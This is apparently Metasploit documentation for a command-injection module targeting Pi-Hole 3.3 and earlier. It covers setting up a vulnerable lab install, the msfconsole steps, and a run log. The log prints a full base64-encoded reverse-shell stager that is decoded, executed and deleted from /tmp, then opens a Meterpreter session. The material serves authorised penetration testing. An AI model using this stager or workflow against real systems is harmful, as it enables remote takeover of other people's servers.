## Vulnerable Application

This exploits a command execution vulnerability in Pi-Hole <= 3.3. When adding a 
new domain to the whitelist, it is possible to chain a command to 
the domain that is run on the OS.

### Setup

Install Pi-Hole [Pi-Hole 3.2.1](https://github.com/pi-hole/pi-hole/releases/tag/v3.2.1)
with the following commands:

```
sudo git clone --depth=1 -b v3.2.1 https://github.com/pi-hole/pi-hole.git /etc/.pihole
# replace 'git clone' with 'git clone -b v3.2.1'
sudo nano /etc/.pihole/automated\ install/basic-install.sh
sudo /etc/.pihole/automated\ install/basic-install.sh
```

Pi-Hole attempts to install the latest versions of the software.  Modifying the git clone
command will force it to install the old AdminLTE and Pi-Hole versions.  However this
will make FTL fail to install.

Answer everything with the default.

Lastly, we need to create one file which wasn't made.

```
sudo touch /etc/pihole/GitHubVersions
```

This will be enough to make it exploitable, however the dashboard won't fully work since some
other components were installed which are too new for it to work with.

If you wish to install FTL, follow the [directions](https://docs.pi-hole.net/ftldns/compile/).
However, when cloning the FTL repo, add the flag `-b v2.13.1` to pull an age appropriate version.
Also, the service may not install correctly.  However simply running `sudo /usr/bin/pihole-FTL`
will start it successfully.

## Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: ```use exploit/unix/http/pihole_whitelist_exec```
  4. Do: ```set rhosts```
  5. Do: ```run```
  6. You should get a shell.

## Options

### Password

Password for the web interface.  Randomly set on install.  Use `pihole -a -p` to change/remove it.

## Scenarios

### Pi-Hole 3.2.1 with AdminLTE 3.2.1 on Ubuntu 18.04

  ```
  msf > use exploit/unix/http/pihole_whitelist_exec 
  msf exploit(unix/http/pihole_whitelist_exec) > set rhosts 2.2.2.2
  rhosts => 2.2.2.2
  msf exploit(unix/http/pihole_whitelist_exec) > set verbose true
  verbose => true
  msf exploit(unix/http/pihole_whitelist_exec) > run
  
  [*] Started reverse TCP handler on 1.1.1.1:4444 
  [+] Version Detected: 3.2.1
  [*] Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1towKgCgGgCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/DaQVx.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/QUFVT' < '/tmp/DaQVx.b64' ; chmod +x '/tmp/QUFVT' ; '/tmp/QUFVT' ; rm -f '/tmp/QUFVT' ; rm -f '/tmp/DaQVx.b64'"]
  [*] Using cookie: PHPSESSID=j8o7g4m3e30279850hi275mqhk;
  [*] Using token: OoSESvgJJEWq7mvYBEOJaa/6jyA0GRy56pRZvy93IlU=
  [*] Transmitting intermediate stager...(106 bytes)
  [*] Sending stage (980808 bytes) to 2.2.2.2
  [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:44212) at 2020-05-13 23:25:19 -0400
  [*] Command Stager progress - 100.00% done (763/763 bytes)
  
  meterpreter > getuid
  Server username: no-user @ ubuntu1804 (uid=33, gid=33, euid=33, egid=33)
  meterpreter > sysinfo
  Computer     : 2.2.2.2
  OS           : Ubuntu 18.04 (Linux 4.15.0-20-generic)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux
  ```
